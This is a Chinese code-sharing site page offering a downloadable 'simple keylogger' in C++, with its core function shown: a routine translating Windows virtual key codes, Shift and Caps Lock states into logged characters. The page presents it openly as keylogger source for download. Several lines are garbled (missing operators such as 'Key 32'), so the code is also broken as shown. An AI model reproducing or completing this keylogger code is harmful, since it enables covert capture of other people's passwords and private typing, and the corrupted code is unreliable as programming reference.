在好例子网,分享、交流、成长!
您当前所在位置:首页C/C++ 开发实例常规C/C++编程 → c++ 键盘记录器简洁版 源码下载

c++ 键盘记录器简洁版 源码下载

常规C/C++编程

下载此实例
  • 开发语言:C/C++
  • 实例大小:6.98KB
  • 下载次数:38
  • 浏览次数:667
  • 发布时间:2017-12-05
  • 实例类别:常规C/C++编程
  • 发 布 人:低调求发展
  • 文件格式:.zip
  • 所需积分:2
 相关标签: 键盘 键盘记录

实例介绍

【实例简介】

键盘记录器简洁版

【实例截图】

【核心代码】

#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <iostream>
using namespace std;

string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = "";
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键

if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48:{KeyString = ")";}break; //0
case 49:{KeyString = "!";}break; //1
case 50:{KeyString = "@";}break; //2
case 51:{KeyString = "#";}break; //3
case 52:{KeyString = "$";}break; //4
case 53:{KeyString = "%";}break; //5
case 54:{KeyString = "^";}break; //6
case 55:{KeyString = "&";}break; //7
case 56:{KeyString = "*";}break; //8
case 57:{KeyString = "(";}break; //9
}
}
else
KeyString = Key;
}

//对字母的大小写进行判断
if (Key >=97 && Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) {KeyString = Key;}else{KeyString = Key - 32;}  //Shift按下:为小写字母  否则  大写字母
}
else// 大写没有锁定
{
if(IS){KeyString = Key - 32;}else{KeyString = Key;}   // 按下Shift键: 大写字母  否则  小写字母
}
}

if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:{if(IS){KeyString = ":";}else{KeyString = ";";}}break;
case 187:{if(IS){KeyString = " ";}else{KeyString = "=";}}break;
case 188:{if(IS){KeyString = "<";}else{KeyString = ",";}}break;
case 189:{if(IS){KeyString = "_";}else{KeyString = "-";}}break;
case 190:{if(IS){KeyString = ">";}else{KeyString = ".";}}break;
case 191:{if(IS){KeyString = "?";}else{KeyString = "/";}}break;
case 192:{if(IS){KeyString = "~";}else{KeyString = "`";}}break;
case 219:{if(IS){KeyString = "{";}else{KeyString = "[";}}break;
case 220:{if(IS){KeyString = "|";}else{KeyString = "\\";}}break;
case 221:{if(IS){KeyString = '}';}else{KeyString = ']';}}break;
case 222:{if(IS){KeyString = '"';}else{KeyString = "'";}}break;
}
}

//判断键盘的第一行
if (Key == VK_ESCAPE){KeyString = "[Esc]";} // 退出
if (Key == VK_F1){KeyString = "[F1]";} // F1至F12
if (Key == VK_F2){KeyString = "[F2]";}
if (Key == VK_F3){KeyString = "[F3]";}
if (Key == VK_F4){KeyString = "[F4]";}
if (Key == VK_F5){KeyString = "[F5]";}
if (Key == VK_F6){KeyString = "[F6]";}
if (Key == VK_F7){KeyString = "[F7]";}
if (Key == VK_F8){KeyString = "[F8]";}
if (Key == VK_F9){KeyString = "[F9]";}
if (Key == VK_F10){KeyString = "[F10]";}
if (Key == VK_F11){KeyString = "[F11]";}
if (Key == VK_F12){KeyString = "[F12]";}
if (Key == VK_SNAPSHOT){KeyString = "[PrScrn]";} // 打印屏幕
if (Key == VK_SCROLL){KeyString = "[Scroll Lock]";} // 滚动锁定
if (Key == VK_PAUSE){KeyString = "[Pause]";} // 暂停、中断
if (Key == VK_CAPITAL){KeyString = "[Caps Lock]";}

//控制键
if (Key == 8){KeyString = "[Backspace]";} //<- 回格键
if (Key == VK_RETURN){KeyString = "[Enter]\n";} // 回车键、换行
if (Key == VK_SPACE){KeyString = "[Space]";} // 空格
if (Key == VK_LSHIFT){KeyString = "[Shift]";} // 左侧上档键
if (Key == VK_RSHIFT){KeyString = "[SHIFT]";} // 右侧上档键
if (Key == VK_TAB){KeyString = "[Tab]";} // 制表键
if (Key == VK_LCONTROL){KeyString = "[Ctrl]";} // 左控制键
if (Key == VK_RCONTROL){KeyString = "[CTRL]";} // 右控制键
if (Key == VK_LMENU){KeyString = "[Alt]";} // 左换档键
if (Key == VK_RMENU){KeyString = "[ALT]";} // 右换档键
if (Key == VK_LWIN){KeyString = "[Win]";} // 右 WINDOWS 键
if (Key == VK_RWIN){KeyString = "[WIN]";} // 右 WINDOWS 键
if (Key == VK_APPS){KeyString = "[菜单]";} // 菜单键(相当于鼠标右键)
if (Key == VK_INSERT){KeyString = "[Insert]";} // 插入
if (Key == VK_DELETE){KeyString = "[Delete]";} // 删除
if (Key == VK_HOME){KeyString = "[Home]";} // 起始
if (Key == VK_END){KeyString = "[End]";} // 结束
if (Key == VK_PRIOR){KeyString = "[PgUp]";} // 上一页
if (Key == VK_NEXT){KeyString = "[PgDown]";} // 下一页

// 不常用的几个键
if (Key == VK_CANCEL){KeyString = "[Cancel]";} // Cancel
if (Key == VK_CLEAR){KeyString = "[Clear]";} // Clear
if (Key == VK_SELECT){KeyString = "[Select]";} //Select
if (Key == VK_PRINT){KeyString = "[Print]";} //Print
if (Key == VK_EXECUTE){KeyString = "[Execute]";} //Execute

//上、下、左、右键
if (Key == VK_LEFT){KeyString = "[←]";}
if (Key == VK_RIGHT){KeyString = "[→]";}
if (Key == VK_UP){KeyString = "[↑]";}
if (Key == VK_DOWN){KeyString = "[↓]";}
if (Key == VK_NUMLOCK){KeyString = "[NumLock]";}  //小键盘数码锁定

// 加、减、乘、除
if (Key == VK_ADD){KeyString = " ";}
if (Key == VK_SUBTRACT){KeyString = "-";}
if (Key == VK_MULTIPLY){KeyString = "*";}
if (Key == VK_DIVIDE){KeyString = "/";}
if (Key == 190 || Key == 110){KeyString = ".";} // 小键盘 . 及键盘 .

//小键盘数字键:0-9
if (Key == VK_NUMPAD0){KeyString = "0";}
if (Key == VK_NUMPAD1){KeyString = "1";}
if (Key == VK_NUMPAD2){KeyString = "2";}
if (Key == VK_NUMPAD3){KeyString = "3";}
if (Key == VK_NUMPAD4){KeyString = "4";}
if (Key == VK_NUMPAD5){KeyString = "5";}
if (Key == VK_NUMPAD6){KeyString = "6";}
if (Key == VK_NUMPAD7){KeyString = "7";}
if (Key == VK_NUMPAD8){KeyString = "8";}
if (Key == VK_NUMPAD9){KeyString = "9";}

//-------------------------------------------//

if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS){KeyString = Key 32;}else{KeyString = Key;}  //且按下上档键:输出为小写字母  否则  输出为大写字母
}
else // 大写没有锁定
{
if(IS)
{
KeyString = Key;
}
else
{
Key = Key 32;
KeyString = Key;
}
}
}
}
return KeyString;
}

标签: 键盘 键盘记录

实例下载地址

c++ 键盘记录器简洁版 源码下载

不能下载?内容有错? 点击这里报错 + 投诉 + 提问

好例子网口号:伸出你的我的手 — 分享

网友评论

发表评论

(您的评论需要经过审核才能显示)

查看所有0条评论>>

小贴士

感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。

  • 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
  • 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
  • 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
  • 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。

关于好例子网

本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明

;
报警